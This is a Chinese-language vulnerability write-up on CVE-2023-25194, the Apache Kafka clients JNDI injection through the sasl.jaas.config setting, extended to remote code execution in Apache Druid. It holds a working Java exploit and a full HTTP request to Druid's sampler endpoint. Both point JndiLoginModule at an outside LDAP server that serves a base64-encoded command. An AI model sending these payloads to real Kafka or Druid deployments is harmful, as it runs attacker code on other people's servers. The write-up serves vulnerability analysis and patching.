Kafka JNDI 注入分析(CVE-2023-25194)

Apache Kafka Clients Jndi Injection

漏洞描述

Apache Kafka 是一個分佈式數據流處理平臺,可以實時發佈、訂閱、存儲和處理數據流。Kafka Connect 是一種用於在 kafka 和其他系統之間可擴展、可靠的流式傳輸數據的工具。攻擊者可以利用基於 SASL JAAS 配置和 SASL 協議的任意 Kafka 客戶端,對 Kafka Connect worker 創建或修改連接器時,通過構造特殊的配置,進行 JNDI 注入來實現遠程代碼執行。

影響範圍

2.4.0 <= Apache Kafka <= 3.3.2

前置知識

Kafka 是什麼

Kafka 是一個開源的分佈式消息系統,Kafka 可以處理大量的消息和數據流,具有高吞吐量、低延遲、可擴展性等特點。它被廣泛應用於大數據領域,如日誌收集、數據傳輸、流處理等場景。

感覺上和 RocketMQ 很類似,主要功能都是用來進行數據傳輸的。

Kafka 客戶端 SASL JAAS 配置

簡單認證與安全層 (SASL, Simple Authentication and Security Layer ) 是一個在網絡協議中用來認證和數據加密的構架,在 Kafka 的實際應用當中表現爲 JAAS。

Java 認證和授權服務(Java Authentication and Authorization Service,簡稱 JAAS)是一個 Java 以用戶爲中心的安全框架,作爲 Java 以代碼爲中心的安全的補充。總結一下就是用於認證。有趣的是 Shiro (JSecurity) 最初被開發出來的原因就是由於當時 JAAS 存在着許多缺點

參考自 https://blog.csdn.net/yinxuep/article/details/103242969 還有一些細微的配置這裏不再展開。動態設置和靜態修改 .conf 文件實際上效果是一致的。

服務端配置

1、通常在服務器節點下配置服務器 JASS 文件,例如這裏我們將其命名爲 kafka_server_jaas.conf,內容如下

KafkaServer {
    org.apache.kafka.common.security.plain.PlainLoginModule required
    username="eystar"
    password="eystar8888"
    user_eystar="eystar8888"
    user_yxp="yxp-secret";
};

說明:

username +password 表示 kafka 集羣環境各個代理之間進行通信時使用的身份驗證信息。

user_eystar="eystar8888" 表示定義客戶端連接到代理的用戶信息,即創建一個用戶名爲 eystar,密碼爲 eystar8888 的用戶身份信息,kafka 代理對其進行身份驗證,可以創建多個用戶,格式 user_XXX=”XXX”

2、如果處於靜態使用中,需要將其加入到 JVM 啓動參數中,如下

if [ "x$KAFKA_OPTS" ]; then
​
    export KAFKA_OPTS="-Djava.security.auth.login.config=/opt/modules/kafka_2.11-2.0.0/config/kafka_server_jaas.conf"
​
fi

https://kafka.apache.org/documentation/#brokerconfigs_sasl.jaas.config

客戶端配置

基本同服務端一致,如下步驟

1、配置客戶端 JAAS 文件,命名爲 kafka_client_jaas.conf

KafkaClient {
        org.apache.kafka.common.security.plain.PlainLoginModule required
        username="eystar"
        password="eystar8888";
};

2、JAVA 調用的 Kafka Client 客戶端連接時指定配置屬性 sasl.jaas.config

sasl.jaas.config=org.apache.kafka.common.security.plain.PlainLoginModule required \
    username="eystar" \
password="eystar8888";
// 即配置屬性:(後續會講到也能夠動態配置,讓我想起了 RocketMQ)
Pro.set(“sasl.jaas.config”,”org.apache.kafka.common.security.plain.PlainLoginModule required username=\"eystar\" password=\"eystar8888\";";
”);

Kafka 客戶端動態修改 JAAS 配置

方式一:配置 Properties 屬性,可以注意到這一個字段的鍵名爲 sasl.jaas.config,它的格式如下

loginModuleClass controlFlag (optionName=optionValue)*;

其中的 loginModuleClass 代表認證方式, 例如 LDAP, Kerberos, Unix 認證,可以參考官方文檔 https://docs.oracle.com/javase/8/docs/technotes/guides/security/jgss/tutorials/LoginConfigFile.html 其中有一處爲 JndiLoginModule,JDK 自帶的 loginModule 位於 com.sun.security.auth.module

module

//安全模式 用戶名 密碼
props.setProperty("sasl.jaas.config", "org.apache.kafka.common.security.plain.PlainLoginModule required username=\"usn\" password=\"pwd\";");
props.setProperty("security.protocol", "SASL_PLAINTEXT");
props.setProperty("sasl.mechanism", "PLAIN");

方式二:設置系統屬性參數

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備註 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

// 指定kafka_client_jaas.conf文件路徑 
String confPath = TestKafkaComsumer.class.getResource("/").getPath()+ "/kafka_client_jaas.conf"; 
System.setProperty("java.security.auth.login.config", confPath);

實現代碼

消費者

public class TestComsumer {
​
   public static void main(String[] args) {
​
        Properties props = new Properties();
        props.put("bootstrap.servers", "192.168.1.176:9092");
        props.put("group.id", "test_group");
        props.put("enable.auto.commit", "true");
        props.put("auto.commit.interval.ms", "1000");
        props.put("key.deserializer",
                "org.apache.kafka.common.serialization.StringDeserializer");
        props.put("value.deserializer",
                "org.apache.kafka.common.serialization.StringDeserializer");
        // sasl.jaas.config的配置
        props.setProperty("sasl.jaas.config", "org.apache.kafka.common.security.plain.PlainLoginModule required username=\"usn\" password=\"pwd\";");
        props.setProperty("security.protocol", "SASL_PLAINTEXT");
        props.setProperty("sasl.mechanism", "PLAIN");
​
        KafkaConsumer<String, String> consumer = new KafkaConsumer<>(props);
        consumer.subscribe(Arrays.asList("topic_name"));
        while (true) {
           try {
                ConsumerRecords<String, String> records = consumer.poll(Duration
                        .ofMillis(100));
                for (ConsumerRecord<String, String> record : records)
                    System.out.printf("offset = %d, partition = %d, key = %s, value = %s%n",
                            record.offset(), record.partition(), record.key(), record.value());
          
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
​
    
    }
​
}

生產者

public class TestProduce {
​
    public static void main(String args[]) {
​
        Properties props = new Properties();
​
        props.put("bootstrap.servers", "192.168.1.176:9092");
        props.put("acks", "1");
        props.put("retries", 3);
        props.put("batch.size", 16384);
        props.put("buffer.memory", 33554432);
        props.put("linger.ms", 10);
        props.put("key.serializer",
                "org.apache.kafka.common.serialization.StringSerializer");
        props.put("value.serializer",
                "org.apache.kafka.common.serialization.StringSerializer");
​
        //sasl
        props.setProperty("sasl.jaas.config", "org.apache.kafka.common.security.plain.PlainLoginModule required username=\"usn\" password=\"pwd\";");
        props.setProperty("security.protocol", "SASL_PLAINTEXT");
        props.setProperty("sasl.mechanism", "PLAIN");
​
        Producer<String, String> producer = new KafkaProducer<>(props);
        
       /**
        * ProducerRecord 參數解析 第一個:topic_name爲生產者 topic名稱,
        * 第二個:對於生產者kafka2.0需要你指定一個key
        * ,在企業應用中,我們一般會把他當做businessId來用,比如訂單ID,用戶ID等等。 第三個:消息的主要信息
        */
​
        try {
              producer.send(new ProducerRecord<String, String>("topic_name", Integer.toString(i), "message info"));
​
        } catch (InterruptedException e) {
               e.printStackTrace();
        }
​
   }
​
}

漏洞復現

漏洞觸發點其實是在 com.sun.security.auth.module.JndiLoginModule#attemptAuthentication 方法處

lookup.png

理順邏輯很容易構造出 EXP

import org.apache.kafka.clients.consumer.KafkaConsumer;
import org.apache.kafka.clients.producer.KafkaProducer;
​
import java.util.Properties;
​
public class EXP {
    public static void main(String[] args) throws Exception {
        Properties properties = new Properties();
        properties.put("bootstrap.servers", "127.0.0.1:1234");
        properties.put("key.deserializer", "org.apache.kafka.common.serialization.StringDeserializer");
        properties.put("value.deserializer","org.apache.kafka.common.serialization.StringDeserializer");
​
        properties.put("sasl.mechanism", "PLAIN");
        properties.put("security.protocol", "SASL_SSL");
        properties.put("sasl.jaas.config", "com.sun.security.auth.module.JndiLoginModule " +
                "required " +
                "user.provider.url=\"ldap://124.222.21.138:1389/Basic/Command/Base64/Q2FsYw==\" " +
                "useFirstPass=\"true\" " +
                "group.provider.url=\"xxx\";");
​
        KafkaConsumer<String, String> kafkaConsumer = new KafkaConsumer<>(properties);
        kafkaConsumer.close();
    }
}
​

EXP.png

漏洞分析

前面有非常多的數據處理與賦值,這裏就跳過了,直接看 org.apache.kafka.clients.consumer.KafkaConsumer 類的第 177 行 ClientUtils.createChannelBuilder(),跟進。

createChannelBuilder.png

繼續跟進,這裏會先判斷 SASL 模式是否開啓,只有開啓了纔會往下跟進到 create() 方法

SASL_SSL.png

跟進 create() 方法,做完客戶端的判斷和安全協議的判斷之後,調用了 loadClientContext() 方法,跟進,發現其中還是加載了一些配置。

loadClientContext.png

跳出來,跟進 ((ChannelBuilder)channelBuilder).configure(configs) 方法,最後跟到 org.apache.kafka.common.security.authenticator.LoginManager 的構造函數。

LoginManager.png

跟進 login() 方法,此處 new LoginContext(),隨後調用 login() 方法,跟進

loginContext.png

這裏會調用 JndiLoginModule 的 initialize() 方法

moduleStack.png

初始化完成之後,此處調用 JndiLoginModule 的 login() 方法,最後到 JndiLoginModule 的 attemptAuthentication() 方法,完成 Jndi 注入。

down.png

漏洞修復

在 3.4.0 版本中, 官方的修復方式是增加了對 JndiLoginModule 的黑名單

org.apache.kafka.common.security.JaasContext#throwIfLoginModuleIsNotAllowed

private static void throwIfLoginModuleIsNotAllowed(AppConfigurationEntry appConfigurationEntry) {
    Set<String> disallowedLoginModuleList = (Set)Arrays.stream(System.getProperty("org.apache.kafka.disallowed.login.modules", "com.sun.security.auth.module.JndiLoginModule").split(",")).map(String::trim).collect(Collectors.toSet());
    String loginModuleName = appConfigurationEntry.getLoginModuleName().trim();
    if (disallowedLoginModuleList.contains(loginModuleName)) {
        throw new IllegalArgumentException(loginModuleName + " is not allowed. Update System property '" + "org.apache.kafka.disallowed.login.modules" + "' to allow " + loginModuleName);
    }
}
​

Apache Druid RCE via Kafka Clients

影響版本:Apache Druid <= 25.0.0

Apache Druid 是一個實時分析型數據庫, 它支持從 Kafka 中導入數據 (Consumer) , 因爲目前最新版本的 Apache Druid 25.0.0 所用 kafka-clients 依賴的版本仍然是 3.3.1, 即存在漏洞的版本, 所以如果目標 Druid 存在未授權訪問 (默認配置無身份認證), 則可以通過這種方式實現 RCE

有意思的是, Druid 包含了 commons-beanutils:1.9.4 依賴, 所以即使在高版本 JDK 的情況下也能通過 LDAP JNDI 打反序列化 payload 實現 RCE

  • 漏洞 UI 處觸發點:Druid Web Console - Load data - Apache Kafka

在這裏可以加載 Kafka 的 Data,其中可以修改配置項 sasl.jaas.config,由此構造 Payload

POST http://124.222.21.138:8888/druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: 124.222.21.138:8888
Content-Length: 916
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.43
Content-Type: application/json
Origin: http://124.222.21.138:8888
Referer: http://124.222.21.138:8888/unified-console.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,ja;q=0.5,zh-TW;q=0.4,no;q=0.3,ko;q=0.2
Connection: close
​
{"type":"kafka","spec":{"type":"kafka","ioConfig":{"type":"kafka","consumerProperties":{"bootstrap.servers":"127.0.0.1:1234",
"sasl.mechanism":"SCRAM-SHA-256",
                "security.protocol":"SASL_SSL",
                "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://124.222.21.138:1389/Basic/Command/base64/aWQgPiAvdG1wL3N1Y2Nlc3M=\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
},"topic":"123","useEarliestOffset":true,"inputFormat":{"type":"regex","pattern":"([\\s\\S]*)","listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965","columns":["raw"]}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"!!!_no_such_column_!!!","missingValue":"1970-01-01T00:00:00Z"},"dimensionsSpec":{},"granularitySpec":{"rollup":false}},"tuningConfig":{"type":"kafka"}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}

druidAttack.png

success-25194.png

在 druid-kafka-indexing-service 這個 extension 中可以看到實例化 KafkaConsumer 的過程

KafkaRecordSupplier.png

而上面第 286 行的 addConsumerPropertiesFromConfig() 正是進行了動態修改配置

Apache Druid 26.0.0 更新了 kafka 依賴的版本

https://github.com/apache/druid/blob/26.0.0/pom.xml#L79

druidNewVersion.png

更多網安技能的在線實操練習,請點擊這裏>>

  

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章